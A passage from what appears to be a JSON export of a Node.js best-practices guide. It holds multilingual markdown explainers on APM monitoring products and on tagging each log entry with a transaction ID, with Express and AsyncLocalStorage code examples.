serviço cruzado\r\n\r\n![Exemplo de APM](../../assets/images/apm1.png \"Exemplo de APM\")\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de APM - um produto comercial que enfatiza a pontuação da experiência do usuário\r\n\r\n![Exemplo de APM](../../assets/images/apm2.png \"Exemplo de APM\")\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de APM - um produto comercial que destaca caminhos de código lento\r\n\r\n![Exemplo de APM](../../assets/images/apm3.png \"Exemplo de APM\")\r\n"
  },
  {
    "path": "sections/production/apmproducts.chinese.md",
    "content": "# 使用APM产品确保用户体验\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\nAPM（应用程序性能监视）指的是一个产品系列, 目的是从端到端，也从客户的角度监控应用程序的性能。虽然传统的监控解决方案侧重于异常和独立的技术指标 (例如错误跟踪、检测慢速服务器节点等), 在现实世界中, 我们的应用程序可能会在没有任何代码异常的情况下让用户使用起来感到失望, 例如, 如果某些中间件服务执行得非常慢。APM 产品从端到端检测用户体验, 例如, 给定一个包含前端 UI 和多个分布式服务的系统 – 一些 APM 产品可以告诉您, 一个跨过多个层的事务的速度有多快。它可以判断用户体验是否可靠, 并指出问题所在。这种诱人的产品通常有一个相对较高的价格标签, 因此, 对于需要超越一般的监测的，大规模的和复杂的产品, 它们是值得推荐的。\r\n\r\n<br/><br/>\r\n\r\n\r\n### APM 示例 – 一种可视化显示跨服务应用性能的商业产品\r\n![APM example](../../assets/images/apm1.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### APM 示例 – 一种强调用户体验评分的商业产品\r\n\r\n![APM example](../../assets/images/apm2.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### APM 示例 – 一种突出显示慢速代码路径的商业产品\r\n\r\n![APM example](../../assets/images/apm3.png \"APM example\")\r\n"
  },
  {
    "path": "sections/production/apmproducts.french.md",
    "content": "# Une expérience utilisateur sûre avec les produits APM\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nAPM (NdT, « Application Performance Monitoring » : surveillance des performances des applications) fait référence à une famille de produits qui vise à surveiller les performances des applications de bout en bout, également du point de vue du client. Alors que les solutions de surveillance classiques se concentrent sur les exceptions et les mesures techniques autonomes (par exemple, le suivi des erreurs, les points de terminaison de serveur lents, etc.), dans le monde réel, notre application pourrait décevoir des utilisateurs sans aucune erreur de code, par exemple, si certains services du middleware fonctionnent très lentement. Les produits APM mesurent l'expérience utilisateur de bout en bout, par exemple, prenons un système qui englobe l'interface utilisateur frontale et de multiples services distribués - certains produits APM peuvent dire à quelle vitesse s'effectue une transaction qui traverse plusieurs niveaux. Ils peuvent indiquer si l'expérience utilisateur est solide et indiquer le problème. Cette offre attrayante a un prix relativement élevé, elle est donc recommandée pour les produits à grande échelle et complexes qui nécessitent d'aller au-delà de la simple surveillance.\n\n<br/><br/>\n\n### Exemple APM – un produit commercial qui visualise les performances des applications interservices\n\n![Exemple APM](../../assets/images/apm1.png \"Exemple APM\")\n\n<br/><br/>\n\n### Exemple APM – un produit commercial qui met l'accent sur le score de l'expérience utilisateur\n\n![Exemple APM](../../assets/images/apm2.png \"Exemple APM\")\n\n<br/><br/>\n\n### Exemple APM – un produit commercial qui met en évidence les chemins de code lents\n\n![Exemple APM](../../assets/images/apm3.png \"Exemple APM\")\n"
  },
  {
    "path": "sections/production/apmproducts.japanese.md",
    "content": "# APM 製品の確かなユーザー体験\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nAPM（アプリケーション・パフォーマンス・モニタリング）とは、エンド・ツー・エンド、また顧客の視点からアプリケーションのパフォーマンスを監視することを目的とした製品群のことです。従来のモニタリングソリューションでは、例外やスタンドアローンの技術的なメトリクス（エラー追跡、遅いサーバーエンドポイントなど）に焦点を当てていましたが、現実の世界では、例えば、あるミドルウェアサービスが実際に遅い動作をしていた場合など、コードの例外がなくても、私たちのアプリがユーザーを失望させる可能性があります。APM 製品は、例えばフロントエンドの UI と複数の分散サービスを含むシステムを想定して、エンド・ツー・エンドまでのユーザーエクスペリエンスを測定します。 – APM 製品の中には、複数の階層にまたがるトランザクションがどのくらいの速さで最後まで実行されるかを伝えることができるものがあります。ユーザー体験がしっかりしているかどうかが分かり、問題点を指摘してくれます。この魅力的な製品は比較的高い価格帯で提供されているため、単純なモニタリングの域を超えた大規模で複雑なプロダクトにお勧めです。\r\n\r\n<br/><br/>\r\n\r\n### APM の例 – サービス間のアプリパフォーマンスを可視化する商用製品\r\n\r\n![APM の例](../../assets/images/apm1.png \"APM の例\")\r\n\r\n<br/><br/>\r\n\r\n### APM の例 – ユーザーエクスペリエンススコアを重視した市販品\r\n\r\n![APM の例](../../assets/images/apm2.png \"APM の例\")\r\n\r\n<br/><br/>\r\n\r\n### APM の例 – 遅いコードパスをハイライトする商用製品\r\n\r\n![APM の例](../../assets/images/apm3.png \"APM の例\")\r\n"
  },
  {
    "path": "sections/production/apmproducts.korean.md",
    "content": "# Sure user experience with APM products\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nAPM (application performance monitoring) refers to a family of products that aims to monitor application performance from end to end, also from the customer perspective. While traditional monitoring solutions focus on Exceptions and standalone technical metrics (e.g. error tracking, slow server endpoints, etc), in the real world our app might create disappointed users without any code exceptions, for example, if some middleware service performed real slow. APM products measure the user experience from end to end, for example, given a system that encompasses frontend UI and multiple distributed services – some APM products can tell how fast a transaction that spans multiple tiers last. It can tell whether the user experience is solid and point to the problem. This attractive offering comes with a relatively high price tag hence it’s recommended for large-scale and complex products that require going beyond straightforward monitoring.\r\n\r\n<br/><br/>\r\n\r\n### APM example – a commercial product that visualizes cross-service app performance\r\n\r\n![APM example](../../assets/images/apm1.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### APM example – a commercial product that emphasizes the user experience score\r\n\r\n![APM example](../../assets/images/apm2.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### APM example – a commercial product that highlights slow code paths\r\n\r\n![APM example](../../assets/images/apm3.png \"APM example\")\r\n"
  },
  {
    "path": "sections/production/apmproducts.md",
    "content": "# Sure user experience with APM products\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nAPM (application performance monitoring) refers to a family of products that aims to monitor application performance from end to end, also from the customer perspective. While traditional monitoring solutions focus on Exceptions and standalone technical metrics (e.g. error tracking, slow server endpoints, etc), in the real world our app might create disappointed users without any code exceptions, for example, if some middleware service performed real slow. APM products measure the user experience from end to end, for example, given a system that encompasses frontend UI and multiple distributed services – some APM products can tell how fast a transaction that spans multiple tiers last. It can tell whether the user experience is solid and point to the problem. This attractive offering comes with a relatively high price tag hence it’s recommended for large-scale and complex products that require going beyond straightforward monitoring.\r\n\r\n<br/><br/>\r\n\r\n### APM example – a commercial product that visualizes cross-service app performance\r\n\r\n![APM example](../../assets/images/apm1.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### APM example – a commercial product that emphasizes the user experience score\r\n\r\n![APM example](../../assets/images/apm2.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### APM example – a commercial product that highlights slow code paths\r\n\r\n![APM example](../../assets/images/apm3.png \"APM example\")\r\n"
  },
  {
    "path": "sections/production/apmproducts.polish.md",
    "content": "# Zapewnij użytkownikom wygodę korzystania z produktów APM\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nAPM (application performance monitoring) odnosi się do rodziny produktów, która ma na celu monitorowanie wydajności aplikacji od początku do końca, również z perspektywy klienta. Podczas gdy tradycyjne rozwiązania monitorujące koncentrują się na wyjątkach i niezależnych pomiarach technicznych (np. śledzeniu błędów, powolnych punktach końcowych serwera itp.), w prawdziwym świecie nasza aplikacja może tworzyć rozczarowanych użytkowników bez żadnych wyjątków kodu, na przykład, jeśli niektóre usługi oprogramowania pośredniego działają naprawdę wolno. Produkty APM mierzą wrażenia użytkownika end-to-end, na przykład, biorąc pod uwagę system, który obejmuje interfejs użytkownika frontend i wiele usług rozproszonych - niektóre produkty APM mogą powiedzieć, jak szybko trwa transakcja obejmująca wiele poziomów. Może stwierdzić, czy wrażenia użytkownika są solidne i wskazać problem. Ta atrakcyjna oferta ma stosunkowo wysoką cenę, dlatego jest zalecana do dużych i złożonych produktów, które wymagają wykraczania poza proste monitorowanie.\n\n<br/><br/>\n\n### APM przykład - produkt komercyjny, który wizualizuje wydajność aplikacji między usługami\n\n![APM example](../../assets/images/apm1.png \"APM example\")\n\n<br/><br/>\n\n### APM przykład - produkt komercyjny, który podkreśla ocenę doświadczenia użytkownika\n\n![APM example](../../assets/images/apm2.png \"APM example\")\n\n<br/><br/>\n\n### APM przykład - produkt komercyjny, który wyróżnia wolne ścieżki kodu\n\n![APM example](../../assets/images/apm3.png \"APM example\")\n"
  },
  {
    "path": "sections/production/apmproducts.russian.md",
    "content": "# Уверенный пользовательский опыт с продуктами APM\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nAPM (мониторинг производительности приложений) относится к семейству продуктов, целью которых является мониторинг производительности приложений от конца до конца, в том числе с точки зрения клиента. В то время как традиционные решения мониторинга ориентированы на исключения и автономные технические метрики (например, отслеживание ошибок, медленные конечные точки сервера и т.д.), В реальном мире наше приложение может создавать разочарованных пользователей без каких-либо исключений кода, например, если какая-то служба промежуточного программного обеспечения работает очень медленно. Продукты APM измеряют пользовательский опыт от начала до конца, например, с учетом системы, которая включает интерфейсный интерфейс пользователя и несколько распределенных сервисов - некоторые продукты APM могут определить, как быстро выполняется транзакция, охватывающая несколько уровней. Это может сказать, является ли пользовательский опыт твердым и указывает на проблему. Это привлекательное предложение имеет относительно высокую цену, поэтому оно рекомендуется для крупномасштабных и сложных продуктов, которые требуют выхода за рамки простого мониторинга.\r\n\r\n<br/><br/>\r\n\r\n### Пример APM - коммерческий продукт, который визуализирует производительность кросс-сервисного приложения\r\n\r\n![APM example](../../assets/images/apm1.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### Пример APM - коммерческий продукт, который подчеркивает оценку пользовательского опыта\r\n\r\n![APM example](../../assets/images/apm2.png \"APM example\")\r\n\r\n<br/><br/>\r\n\r\n### Пример APM - коммерческий продукт, который выделяет медленные пути кода\r\n\r\n![APM example](../../assets/images/apm3.png \"APM example\")\r\n"
  },
  {
    "path": "sections/production/assigntransactionid.basque.md",
    "content": "# Esleitu transakzio identifikazio bana adierazpen erregistro bakoitzari\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nOhiko erregistroa osagai eta eskaera guztien sarreren biltegia da. Lerro edo errore susmagarriren bat atzeman ondoren, zaila izaten da fluxu bereko beste lerro batzuekin bat etortzea (adibidez, \"John\" erabiltzailea zerbait erosten saiatu zen). Hori are kritikoagoa eta zailagoa bihurtzen da mikrozerbitzu ingurune batean eskaera/transakzio bat ordenagailu askotan zehar sor daitekeenean. Esleitu eskaera bateko sarrera guztiei transakzio identifikatzaile balio bakarra, eta, horrela, lerro bat atzematean, IDa/identifikazioa kopiatu eta antzeko transakzio IDa/identifikazioa duen lerro bakoitza bilatu ahal izango da eta. Hala ere, In Node hori lortzea ez da erraza, hari bakarra erabiltzen baita eskaera guztiei erantzuteko. Aztertu ez ote zaizun komeni liburutegi bat erabiltzea datuak bil ditzakeena eskaera mailan. Ikusi hurrengo diapositibako kode adibidea. Beste mikrozerbitzu batzuk deitzean, igorri transakzioaren IDa \"x-transaction-id\" bezalako HTTP goiburua erabiliz testuinguru bera mantentzeko.\r\n\r\n<br/><br/>\r\n\r\n### Kode adibidea: Express konfigurazio tipikoa\r\n\r\n```javascript\r\n// eskaera berria jasotzean, kontextu isolatu berria hasi eta transakzio identifikazioa ezarri. Hurrengo adibideak continuation-local-storage npm liburutegia erabiltzen du eskaerak isolatzeko\r\n\r\nconst { createNamespace } = require(\"continuation-local-storage\");\r\nconst session = createNamespace(\"my session\");\r\n\r\nrouter.get(\"/:id\", (req, res, next) => {\r\n  session.set(\"transactionId\", \"some unique GUID\");\r\n  someService.getById(req.params.id);\r\n  logger.info(\"Starting now to get something by id\");\r\n});\r\n\r\n// Orain, beste edozein zerbitzu edo osagarrik kotextuko datuak eskura ditzake\r\nclass someService {\r\n  getById(id) {\r\n    logger.info(\"Starting to get something by id\");\r\n    // beste logika hemen dator\r\n  }\r\n}\r\n\r\n// Erregistroak transakzio identifikazioa gehi diezaieke sarrera bakoitzari, horrela eskaera bereko sarrerek balio bera edukiko dute\r\nclass logger {\r\n  info(message) {\r\n    console.log(`${message} ${session.get(\"transactionId\")}`);\r\n  }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/assigntransactionid.brazilian-portuguese.md",
    "content": "# Atribua‘TransactionId’ para cada declaração de log\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nUm log típico é um armazém de entradas de todos os componentes e requisições. Após a detecção de alguma linha ou erro suspeito, torna-se difícil combinar outras linhas que pertencem ao mesmo fluxo específico (por exemplo, o usuário \"João\" tentou comprar algo). Isso se torna ainda mais crítico e desafiador em um ambiente de microsserviço quando uma requisição/transação pode se estender por vários computadores. Aborde isso atribuindo um valor de identificador de transação exclusivo a todas as entradas da mesma solicitação, para que, ao detectar uma linha, você possa copiar o id e pesquisar por todas as linhas que possuam ID de transação semelhante. No entanto, alcançar isso no Node não é simples, pois um único thread é usado para atender a todas as solicitações - considere o uso de uma biblioteca que possa agrupar dados no nível de requisições - veja o exemplo de código no próximo slide. Ao chamar outro microsserviço, passe o Id da transação usando um cabeçalho HTTP como \"x-transaction-id\" para manter o mesmo contexto.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de código: configuração típica do Express\r\n\r\n```javascript\r\n// ao receber um novo pedido, inicie um novo contexto isolado e defina um ID de transação. O exemplo a seguir está usando a continuação da biblioteca npm-local-storage para isolar solicitações\r\n\r\nconst { createNamespace } = require('continuation-local-storage');\r\nvar session = createNamespace('minha sessão');\r\n\r\nrouter.get('/:id', (req, res, next) => {\r\n    session.set('transactionId', 'algum GUID único');\r\n    someService.getById(req.params.id);\r\n    logger.info('Começando agora para obter algo por Id');\r\n});\r\n\r\n// Agora, qualquer outro serviço ou componente pode ter acesso aos dados contextuais, por requisição\r\nclass someService {\r\n    getById(id) {\r\n        logger.info(“Starting to get something by Id”);\r\n        // outra lógica vem aqui\r\n    }\r\n}\r\n\r\n// O logger agora pode anexar o ID da transação a cada entrada para que as entradas da mesma requisição tenham o mesmo valor\r\nclass logger {\r\n    info (message)\r\n    {console.log(`${message} ${session.get('transactionId')}`);}\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/assigntransactionid.chinese.md",
    "content": "# 在每一个log语句指定‘TransactionId’\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n一个典型的日志是来自所有组件和请求的条目的仓库。当检测到一些可疑行或错误时，为了与其他属于同一特定流程的行（如用户“约翰”试图购买某物）相匹配，就会变得难以应付。特别在微服务环境下，当一个请求/交易可能跨越多个计算机，这变得更加重要和具有挑战性。解决这个问题，可以通过指定一个唯一的事务标识符给从相同的请求过来的所有条目，这样当检测到一行，可以复制这个id，并搜索包含这个transaction id的每一行。但是，在node中实现这个不是那么直截了当的，这是由于它的单线程被用来服务所有的请求 – 考虑使用一个库，它可以在请求层对数据进行分组 – 在下一张幻灯片查看示例代码。当调用其它微服务，使用HTTP头“x-transaction-id”传递transaction id去保持相同的上下文。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例: 典型的nginx配置\r\n\r\n```javascript\r\n//当接收到一个新的要求，开始一个新的隔离的上下文和设置一个事务transaction id。下面的例子是使用NPM库continuation-local-storage去隔离请求\r\n\r\nconst { createNamespace } = require('continuation-local-storage');\r\nvar session = createNamespace('my session');\r\n\r\nrouter.get('/:id', (req, res, next) => {\r\n    session.set('transactionId', 'some unique GUID');\r\n    someService.getById(req.params.id);\r\n    logger.info('Starting now to get something by Id');\r\n});\r\n\r\n//现在, 任何其他服务或组件都可以访问上下文、每个请求、数据\r\nclass someService {\r\n    getById(id) {\r\n        logger.info(“Starting now to get something by Id”);\r\n        //其它逻辑\r\n    }\r\n}\r\n\r\n//Logger现在可以将事务 id 追加到每个条目, 以便同一请求中的项将具有相同的值\r\nclass logger{\r\n    info (message)\r\n    {console.log(`${message} ${session.get('transactionId')}`);}\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/assigntransactionid.french.md",
    "content": "# Attribuez un ‘TransactionId’ à chaque relevé du journal\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nUn journal typique est un registre des entrées de tous les composants et requêtes. Lorsqu'une ligne ou une erreur suspecte est détectée, il devient difficile de faire correspondre d'autres lignes appartenant au même flux spécifique (par exemple, l'utilisateur \"John\" a essayé d'acheter quelque chose). Cela devient encore plus critique et difficile dans un environnement de micro-services lorsqu'une requête/transaction peut concerner plusieurs ordinateurs. Il convient de remédier à ce problème en attribuant une valeur d'identification de transaction unique à toutes les entrées d'une même requête, de sorte qu'en détectant une ligne, on puisse copier l'identifiant et rechercher toutes les lignes qui ont un identifiant de transaction similaire. Toutefois, la réalisation de cette opération dans Node n'est pas simple, car un seul processus est utilisé pour toutes les requêtes - envisagez d'utiliser une bibliothèque qui peut regrouper les données au niveau de la requête - voir l'exemple de code suivant. Lorsque vous appelez d'autres micro-services, transmettez l'identifiant de la transaction en utilisant une entête HTTP comme \"x-transaction-id\" pour conserver le même contexte.\n\n<br/>\n\n### Exemple de code : partage de TransactionId entre les fonctions de requête et entre les services à l'aide de [async-local-storage](https://nodejs.org/api/async_hooks.html#async_hooks_class_asynclocalstorage)\n\n **Qu'est ce que async-local-storage ?** Vous pouvez le considérer comme l'alternative de Node pour le stockage local des threads.\n Il s'agit essentiellement d'un stockage pour les flux asynchrones dans Node. Vous pouvez en savoir plus [ici](https://www.freecodecamp.org/news/async-local-storage-nodejs/).\n\n```javascript\nconst express = require('express');\nconst { AsyncLocalStorage } = require('async_hooks');\nconst uuid = require('uuid/v4');\n\nconst asyncLocalStorage = new AsyncLocalStorage();\n\n// Définit le TransactionId des requêtes entrantes\nconst transactionIdMiddleware = (req, res, next) => {\n    // Le premier argument de asyncLocalStorage.run est l'initialisation de l'état du stockage, le second argument est la fonction qui a accès à ce stockage\n    asyncLocalStorage.run(new Map(), () => {\n        // Essaye d'extraire le TransactionId de l'entête de la requête, ou en génére un nouveau s'il n'existe pas\n        const transactionId = req.headers['transactionId'] || uuid();\n\n        // Définit le TransactionId à l'intérieur du stockage\n        asyncLocalStorage.getStore().set('transactionId', transactionId);\n\n        // En appelant next() dans la fonction, nous nous assurons que tous les autres middlewares fonctionnent dans le même contexte AsyncLocalStorage\n        next();\n    });\n};\n\nconst app = express();\napp.use(transactionIdMiddleware);\n\n// Définit le TransactionId des requêtes sortantes\napp.get('/', (req, res) => {\n    // Une fois que TransactionId a été initialisé dans le middleware, il est accessible à tout moment pour le flux de requêtes.\n    const transactionId = asyncLocalStorage.getStore().get('transactionId');\n\n    try {\n        // Ajoute TransactionId comme entête afin de le passer au service suivant\n        const response = await axios.get('https://externalService.com/api/getAllUsers', headers: {\n        'x-transaction-id': transactionId\n        });\n    } catch (err) {\n        // L'erreur est transmise au middleware, et il n'est pas nécessaire d'envoyer le TransactionId\n        next(err);\n    }\n\n    logger.info('externalService a été appelé avec succès avec l\\'entête TransactionId');\n\n    res.send('OK');\n});\n\n// Un middleware de gestion des erreurs appelle le journal\napp.use(async (err, req, res, next) => {\n    await logger.error(err);\n});\n\n// Le journal peut désormais ajouter le TransactionId à chaque entrée, de sorte que les entrées d'une même requête aient la même valeur\nclass logger {\n    error(err) {\n        console.error(`${err} ${asyncLocalStorage.getStore().get('transactionId')}`);\n    }\n\n    info(message) {\n        console.log(`${message} ${asyncLocalStorage.getStore().get('transactionId')}`);\n    }\n}\n```\n<br/>\n\n<details>\n<summary><strong>Exemple de code : utilisation d'une bibliothèque pour simplifier la syntaxe</strong></summary>\n\nPartage du TransactionId entre les fonctions de requête actuelles en utilisant [cls-rtracer](https://www.npmjs.com/package/cls-rtracer) (une bibliothèque basée sur async-local-storage, implémentée pour les middlewares Express & Koa et les plugins Fastify & Hapi)\n\n```javascript\nconst express = require('express');\nconst rTracer = require('cls-rtracer');\n\nconst app = express();\n\napp.use(rTracer.expressMiddleware());\n\napp.get('/getUserData/{id}', async (req, res, next) => {\n    try {\n        const user = await usersRepo.find(req.params.id);\n\n        // Le TransactionId est accessible de l'intérieur du journal, il n'est pas nécessaire de l'envoyer\n        logger.info(`les données de l'utilisateur ${user.id} ont été récupérées avec succès`);\n\n        res.json(user);\n    } catch (err) {\n        // L'erreur est transmise au middleware\n        next(err);\n    }\n})\n\n// Un middleware de gestion des erreurs appelle le journal\napp.use(async (err, req, res, next) => {\n    await logger.error(err);\n});\n\n// Le journal peut désormais ajouter le TransactionId à chaque entrée, de sorte que les entrées d'une même requête aient la même valeur\nclass logger {\n    error(err) {\n        console.error(`${err} ${rTracer.id()}`);\n    }\n\n    info(message) {\n        console.log(`${message} ${rTracer.id()}`);\n    }\n}\n```\n<br/>\n\nPartage le TransactionId entre les micro services\n\n```javascript\n// cls-tracer a la capacité de stocker le TransactionId sur les entêtes des requêtes sortantes de votre service, et d'extraire le TransactionId des entêtes des requêtes entrantes, en remplaçant simplement la configuration par défaut du middleware\napp.use(rTracer.expressMiddleware({\n    // Ajoute le TransactionId à l'entête\n    echoHeader: true,\n    // Respecte le TransactionId de l'entête\n    useHeader: true,\n    // Nom de l'entête TransactionId\n    headerName: 'x-transaction-id'\n}));\n\nconst axios = require('axios');\n\n// Maintenant, le service extérieur obtiendra automatiquement le TransactionId actuel comme entête\nconst response = await axios.get('https://externalService.com/api/getAllUsers');\n```\n</details>\n<br/>\n\n**REMARQUE : l'utilisation de async-local-storage est soumise à deux restrictions :**\n1. Il nécessite Node v.14.\n2. Il est basé sur une construction de niveau inférieur dans Node appelé async_hooks qui est encore expérimental, donc vous pouvez craindre des problèmes de performance. Même s'ils existent, ils sont très négligeables, mais vous devriez faire vos propres choix.\n\n<br/>\n\n<details>\n<summary><strong>Exemple de code - configuration Express typique sans dépendance de async-local-storage</strong></summary>\n\n```javascript\n// à la réception d'une nouvelle requête, commencez un nouveau contexte isolé et définissez un identifiant de transaction. L'exemple suivant utilise la bibliothèque npm continuation-local-storage pour isoler les requêtes\n\nconst { createNamespace } = require('continuation-local-storage');\nconst session = createNamespace('my session');\n\nrouter.get('/:id', (req, res, next) => {\n    session.set('transactionId', 'un GUID unique');\n    someService.getById(req.params.id);\n    logger.info('Début de l\\'identification');\n});\n\n// Désormais, tout autre service ou composant peut avoir accès aux données contextuelles par requête\nclass someService {\n    getById(id) {\n        logger.info('Début de l\\'identification');\n        // une autre logique vient ici\n    }\n}\n\n// Le journal peut désormais ajouter l'identifiant de la transaction à chaque entrée, de sorte que les entrées d'une même requête aient la même valeur\nclass logger {\n    info (message) {\n        console.log(`${message} ${session.get('transactionId')}`);\n    }\n}\n```\n</details>\n\n<br/><br/>\n\n### Bon : Journaux avec un TransactionId attribué - peut être utilisé comme filtre pour ne voir qu'un seul flux\n![alt text](https://i.ibb.co/YjJwgbN/logs-with-transaction-id.jpg \"Journaux avec transaction id\")\n<br/><br/>\n\n### Mauvais : journaux sans TransactionId - pas de possibilité d'utiliser un filtre et de ne voir qu'un seul flux, vous devez comprendre par vous-même quels journaux sont pertinents entre tous les « bruits » environnants\n![alt text](https://i.ibb.co/PFgVNfn/logs-withtout-transaction-id.jpg \"Journaux avec transaction id\")\n\n<br/><br/>\n\n### Citation de blog : « La notion d'ID de corrélation est simple. C'est une valeur qui est commune à toutes les requêtes, messages et réponses dans une transaction donnée. Avec cette simplification, vous obtenez beaucoup de pouvoir ».\n\nExtrait de [rapid7](https://blog.rapid7.com/2016/12/23/the-value-of-correlation-ids/)\n\n> Dans le passé, lorsque le comportement transactionnel se déroulait dans un seul domaine, dans le cadre de procédures par étapes, le suivi du comportement des requêtes et des réponses était une tâche simple. Cependant, aujourd'hui, une requête vers un domaine particulier peut impliquer une myriade de requêtes asynchrones ultérieures du domaine de départ vers d'autres domaines. Par exemple, vous envoyez une requête à Expedia, mais en coulisse, Expedia transmet votre requête sous forme de message à un gestionnaire de messages. Ce message est ensuite consommé par un hôtel, une compagnie aérienne et une agence de location de voitures qui répondent également de manière asynchrone. La question se pose donc, alors que votre seule requête est transmise à une multitude de consommateurs en cours de traitement, comment pouvons-nous suivre la transaction ? La réponse est : utiliser un identifiant de corrélation."
  },
  {
    "path": "sections/production/assigntransactionid.japanese.md",
    "content": "# 各ログ文に 'TransactionId' を割り当てる\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n典型的なログは、すべてのコンポーネントとリクエストからのエントリーの倉庫です。不審なラインやエラーが検出されると、同じ特定のフローに属する他のラインをマッチさせるのが面倒になります(例えば、ユーザの ”John” が何かを買おうとしたなど)。これは、リクエスト/トランザクションが複数のコンピュータにまたがる可能性がある場合、マイクロサービスの環境ではさらに重要で困難になります。これに対処するには、同じリクエストからのすべてのエントリに一意のトランザクション識別子の値を割り当てることで、1つの行を検出するときに、 ID をコピーして、類似のトランザクション ID を持つすべての行を検索できるようにします。しかし、1つのスレッドがすべてのリクエストを処理するために使用されるので、これを実現するためには Node では簡単ではありません - リクエストレベルでデータをグループ化できるライブラリを使用することを考えてください – 次のスライドのコード例を参照してください。他のマイクロサービスを呼び出す際には、同じコンテキストを保つために、”x-transaction-id” のような HTTP ヘッダを使ってトランザクション ID を渡してください。\r\n\r\n<br/><br/>\r\n\r\n### コード例: 典型的な Express の設定\r\n\r\n```javascript\r\n// 新しいリクエストを受信したときに、新しい独立したコンテキストを開始し、トランザクション ID を設定します。次の例は、npm ライブラリ continuation-local-storage を使用してリクエストを分離しています。\r\n\r\nconst { createNamespace } = require('continuation-local-storage');\r\nconst session = createNamespace('my session');\r\n\r\nrouter.get('/:id', (req, res, next) => {\r\n    session.set('transactionId', 'some unique GUID');\r\n    someService.getById(req.params.id);\r\n    logger.info('Starting now to get something by id');\r\n});\r\n\r\n// これで、他のサービスやコンポーネントは、コンテクスト、リクエストごと、データごとにアクセスできるようになりました。\r\nclass someService {\r\n    getById(id) {\r\n        logger.info('Starting to get something by id');\r\n        // other logic comes here\r\n    }\r\n}\r\n\r\n// ロガーは、同じリクエストからのエントリが同じ値を持つように、各エントリにトランザクション ID を追加することができるようになりました。\r\nclass logger {\r\n    info (message) {\r\n        console.log(`${message} ${session.get('transactionId')}`);\r\n    }\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/assigntransactionid.korean.md",
    "content": "# Assign ‘TransactionId’ to each log statement\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nA typical log is a warehouse of entries from all components and requests. Upon detection of some suspicious line or error, it becomes hairy to match other lines that belong to the same specific flow (e.g. the user “John” tried to buy something). This becomes even more critical and challenging in a microservice environment when a request/transaction might span across multiple computers. Address this by assigning a unique transaction identifier value to all the entries from the same request so when detecting one line one can copy the id and search for every line that has similar transaction Id. However, achieving this In Node is not straightforward as a single thread is used to serve all requests –consider using a library that that can group data on the request level – see code example on the next slide. When calling other microservice, pass the transaction Id using an HTTP header like “x-transaction-id” to keep the same context.\r\n\r\n<br/><br/>\r\n\r\n### Code example: typical Express configuration\r\n\r\n```javascript\r\n// when receiving a new request, start a new isolated context and set a transaction Id. The following example is using the npm library continuation-local-storage to isolate requests\r\n\r\nconst { createNamespace } = require('continuation-local-storage');\r\nvar session = createNamespace('my session');\r\n\r\nrouter.get('/:id', (req, res, next) => {\r\n    session.set('transactionId', 'some unique GUID');\r\n    someService.getById(req.params.id);\r\n    logger.info('Starting now to get something by Id');\r\n});\r\n\r\n// Now any other service or components can have access to the contextual, per-request, data\r\nclass someService {\r\n    getById(id) {\r\n        logger.info(“Starting to get something by Id”);\r\n        // other logic comes here\r\n    }\r\n}\r\n\r\n// The logger can now append the transaction-id to each entry so that entries from the same request will have the same value\r\nclass logger {\r\n    info (message)\r\n    {console.log(`${message} ${session.get('transactionId')}`);}\r\n}\r\n```\r\n"
  },
  {
    "path": "sections/production/assigntransactionid.md",
    "content": "# Assign ‘TransactionId’ to each log statement\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nA typical log is a warehouse of entries from all components and requests. Upon detection of some suspicious line or error, it becomes hairy to match other lines that belong to the same specific flow (e.g. the user “John” tried to buy something). This becomes even more critical and challenging in a microservice environment when a request/transaction might span across multiple computers. Address this by assigning a unique transaction identifier value to all the entries from the same request so when detecting one line one can copy the id and search for every line that has similar transaction id. However, achieving this In Node is not straightforward as a single thread is used to serve all requests –consider using a library that that can group data on the request level – see code example on the next slide. When calling other microservices, pass the transaction id using an HTTP header like “x-transaction-id” to keep the same context.\r\n\r\n<br/>\r\n\r\n### Code example: sharing TransactionId among request functions and between services using [async-local-storage](https://nodejs.org/api/async_hooks.html#async_hooks_class_asynclocalstorage)\r\n\r\n **What is async-local-storage?** You can think of it as the Node alternative to thread local storage. \r\n It is basically a storage for asynchronous flows in Node. You can read more about it [here](https://www.freecodecamp.org/news/async-local-storage-nodejs/).\r\n\r\n```javascript\r\nconst express = require('express');\r\nconst { AsyncLocalStorage } = require('async_hooks');\r\nconst uuid = require('uuid/v4');\r\n\r\nconst asyncLocalStorage = new AsyncLocalStorage();\r\n\r\n// Set incoming requests TransactionId\r\nconst transactionIdMiddleware = (req, res, next) => {\r\n    // The first asyncLocalStorage.run argument is the initialization of the store state, the second argument is the function that has access to that store\r\n    asyncLocalStorage.run(new Map(), () => {\r\n        // Try to extract the TransactionId from the request header, or generate a new one if it doesn't exist\r\n        const transactionId = req.headers['transactionId'] || uuid();\r\n\r\n        // Set the TransactionId inside the store\r\n        